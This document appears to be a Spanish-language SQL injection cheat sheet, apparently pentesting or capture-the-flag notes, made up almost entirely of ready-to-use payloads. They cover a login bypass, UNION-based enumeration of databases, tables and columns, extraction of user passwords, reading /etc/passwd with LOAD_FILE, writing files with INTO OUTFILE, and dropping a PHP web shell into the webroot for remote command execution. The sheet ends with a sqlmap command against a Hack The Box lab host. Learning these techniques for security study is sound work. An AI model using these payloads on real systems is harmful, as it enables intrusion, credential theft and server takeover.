SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';
Union Based
MySQL — Listar Bases de Datos
sql
... UNION SELECT null, schema_name, null, null FROM information_schema.schemata-- -
Listar Tablas de la Base Actual
sql
... UNION SELECT null, table_name, null, null FROM information_schema.tables WHERE table_schema=database()-- -
Listar Columnas
sql
... UNION SELECT null, column_name, null, null FROM information_schema.columns WHERE table_schema='DB' and table_name='tabla'-- -
Extraer Datos de una Tabla
sql
... UNION SELECT id, username, password, 4 FROM users-- -
Inyecciones útiles
Usuario actual
sql
' UNION SELECT 1, USER(), 3, 4-- -
Comprobar si el usuario es superadmin (DBA)
sql
' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
Listar otros privs (FILE,…)
sql
' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
Leer archivos
sql
' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4-- -
Escribir archivos
Condiciones: privilegio FILE; secure_file_priv vacía (si tiene valor solo se escribe allí, si es NULL no se permite); y acceso de escritura al directorio.
sql
' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- -
SELECT ... INTO OUTFILE
sql
SELECT * FROM users INTO OUTFILE '/tmp/credentials';
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
Escribir en WEBROOT
sql
' UNION SELECT 1,'file written successfully!',3,4 INTO OUTFILE '/var/www/html/proof.txt'-- -
Escribir una WEB SHELL para RCE
sql
' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"", "" INTO OUTFILE '/var/www/html/shell.php'-- -
Luego accediendo a http://<ip>/shell.php?0=id se ejecuta el comando.
WebSockets
bash
$ sqlmap -u ws://soc-player.soccer.htb:9091/ --data '{"id":"66666 or 1=1"}' --batch --dbs